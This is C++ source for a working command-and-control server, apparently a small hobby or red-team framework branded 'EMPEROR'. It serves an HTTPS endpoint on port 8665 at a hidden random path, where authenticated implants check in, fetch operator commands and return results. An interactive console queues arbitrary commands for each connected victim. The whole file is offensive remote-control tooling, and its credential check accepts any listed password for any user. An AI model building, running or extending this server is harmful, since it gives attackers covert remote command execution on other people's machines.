#include <fstream>
#include <httpserver.hpp>
#include <iostream>
#include <map>
#include <regex>
#include <string>
#include <thread>
#include <vector>

// GLOBALS
bool bIncomingHey = false;
std::string sIncomingHeyUser;
bool bShutdown = false;

std::vector<std::vector<std::string>> retrievecreds(std::string sFile)
{
	std::vector<std::vector<std::string>> sCreds;
	std::vector<std::string> sUsernames;
	std::vector<std::string> sPasswords;
	std::fstream fCreds;
	fCreds.open("creds", std::ios::in);
	char ch;
	bool bUsername = true;
	std::string sUsername = "";
	std::string sPassword = "";

	while (true)
	{
		fCreds >> ch;

		if (fCreds.eof())
		{
			sPasswords.push_back(sPassword);
			break;
		}

		if (ch == ':')
		{
			bUsername = false;
			fCreds >> ch;
			sUsernames.push_back(sUsername);
			sUsername = "";
		}

		if (ch == '\n')
		{
			bUsername = true;
			fCreds >> ch;
			sPasswords.push_back(sPassword);
			sPassword = "";
		}

		if (bUsername)
		{
			sUsername += ch;
		}
		else
		{
			sPassword += ch;
		}
	}

	sCreds.push_back(sUsernames);
	sCreds.push_back(sPasswords);
	return sCreds;
}

std::vector<std::vector<std::string>> sCreds = retrievecreds("creds");

std::map<std::string, bool> defaultUserConnections(std::vector<std::vector<std::string>> sCreds)
{
	std::map<std::string, bool> mConnections;
	for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
	{
		mConnections[sCreds[0][iUsernameIndex]] = false;
	}
	return mConnections;
}

std::map<std::string, std::string> defaultUserComms(std::vector<std::vector<std::string>> sCreds)
{
	std::map<std::string, std::string> mComms;
	for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
	{
		mComms[sCreds[0][iUsernameIndex]] = "";
	}
	return mComms;
}

std::map<std::string, std::string> mCommands = defaultUserComms(sCreds);

std::map<std::string, std::string> mResults = defaultUserComms(sCreds);

std::string listUserConnections(std::map<std::string, bool> mConnections)
{
	std::ostringstream oss;
	for (auto const &[key, val] : mConnections)
	{
		if (val == true)
		{
			oss << key << " is active.\n";
		}
	}
	std::string sConnections = oss.str();
	return sConnections;
}

std::map<std::string, bool> mConnections = defaultUserConnections(sCreds);

class command_and_control : public httpserver::http_resource
{
    public:
	bool verifycreds(std::vector<std::vector<std::string>> sCreds, std::string sUsername, std::string sPassword)
	{
		for (int iUsernameIndex = 0; iUsernameIndex < sCreds[0].size(); iUsernameIndex++)
		{
			if (sCreds[0][iUsernameIndex] == sUsername)
			{
				for (int iPasswordIndex = 0; iPasswordIndex < sCreds[1].size(); iPasswordIndex++)
				{
					if (sCreds[1][iPasswordIndex] == sPassword)
					{
						return true;
					}
				}
			}
		}
		return false;
	}

	const std::shared_ptr<httpserver::http_response> render(const httpserver::http_request &req)
	{
		if (verifycreds(sCreds, req.get_user(), req.get_pass()))
		{
			if (req.get_method() == "POST")
			{
				if (req.get_arg("msg") == "ready")
				{
					std::ostringstream oss;
					oss << "user=" << req.get_user() << "&msg=acknowledged";
					std::string sResponse = oss.str();
					bIncomingHey = true;
					sIncomingHeyUser = req.get_user();
					mConnections[req.get_user()] = true;
					return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
				}
				if (req.get_arg("msg") == "reqcmd")
				{
					if (mCommands[req.get_user()] != "")
					{
						std::ostringstream oss;
						oss << "run=" << mCommands[req.get_user()];
						return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(oss.str()));
					}
					else
					{
						return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("msg=nocmd"));
					}
				}
				if (req.get_arg("result") != "")
				{
					mCommands[req.get_user()] = "";
					mResults[req.get_user()] = req.get_arg("result");
					std::ostringstream oss;
					oss << "user=" << req.get_user() << "&msg=acknowledged";
					std::string sResponse = oss.str();
					return std::shared_ptr<httpserver::http_response>(new httpserver::string_response(sResponse));
				}
			}
		}
		return std::shared_ptr<httpserver::http_response>(new httpserver::string_response("Not found"));
	}
};

void checkConnections()
{
	while (!bShutdown)
	{
		if (bIncomingHey)
		{
			std::cout << "\nIncoming connection from " << sIncomingHeyUser << "\n[EMPEROR]>" << std::flush;
			bIncomingHey = false;
			sIncomingHeyUser = "";
		}
	}
}

void interactConnection(std::string sIdentifier)
{
	std::string sCommand;
	std::cout << "Starting interaction with " << sIdentifier << std::endl;
	while (true)
	{
		std::cout << "[EMPEROR - " << sIdentifier << "]>";
		std::getline(std::cin, sCommand);

		if (sCommand == ":q")
		{
			break;
		}
		mCommands[sIdentifier] = sCommand;
		std::cout << "Command sent, awaiting response..." << std::endl;
		while (mResults[sIdentifier].empty())
		{
			continue;
		}
		std::cout << "Result: " << mResults[sIdentifier] << std::endl;
		mResults[sIdentifier] = "";
	}
}

void prompt()
{
	std::cout << "========== EMPEROR C2 Framework==========" << std::endl;
	std::cout << R"(            _____             
          ,888888b.                                        
        .d888888888b                                      
    _..-'.`*'_,88888b                                  
  ,'..-..`"ad88888888b.                         
         ``-. `*Y888888b.                             
             \   `Y888888b.          
             :     Y8888888b.                         
             :      Y88888888b.                       
             |    _,8ad88888888.                      
             : .d88888888888888b.                     
             \d888888888888888888                      
             8888;'''`88888888888                       
             888'     Y8888888888                        
             `Y8      :8888888888                      
              |`      '8888888888                    
              |        8888888888                     
              |        8888888888                    
              |        8888888888                       
              |       ,888888888P                    
              :       ;888888888'                    
               \      d88888888'                       
              _.>,    888888P'                           
            <,--''`.._>8888(                        
             `>__...--' `''`    )"
		  << std::endl;
	std::cout << "=========================================" << std::endl;
	std::string sCommand;
	while (true)
	{
		std::cout << "[EMPEROR]>";
		std::getline(std::cin, sCommand);
		std::regex rConnect("connect ");

		if (sCommand == "connections")
		{
			std::cout << listUserConnections(mConnections);
		}

		if (std::regex_search(sCommand, rConnect))
		{
			std::vector<std::string> sCommands;
			std::string sSplit;
			for (int i = 0; i < sCommand.length(); i++)
			{
				if (sCommand[i] == ' ')
				{
					sCommands.push_back(sSplit);
					if (sCommands.size() > 2)
					{
						break;
					}
					sSplit = "";
				}
				else
				{
					sSplit.push_back(sCommand[i]);
					if (i == (sCommand.length() - 1))
					{
						sCommands.push_back(sSplit);
					}
				}
			}
			if (mConnections[sCommands[1]])
			{
				interactConnection(sCommands[1]);
			}
		}

		if (sCommand == "q" || sCommand == "quit" || sCommand == "exit")
		{
			bShutdown = true;
			break;
		}
	}
}

int main(int argc, char **argv)
{
	command_and_control c2;
	httpserver::webserver ws = httpserver::create_webserver(8665).use_ssl().https_mem_key("server.key").https_mem_cert("server.crt");
	ws.register_resource("/YVDvOraEcGwPAyjuBFzGespbRzifTpi", &c2);
	ws.start(false);
	std::thread tCheck(checkConnections);
	prompt();
	tCheck.join();
	return 0;
}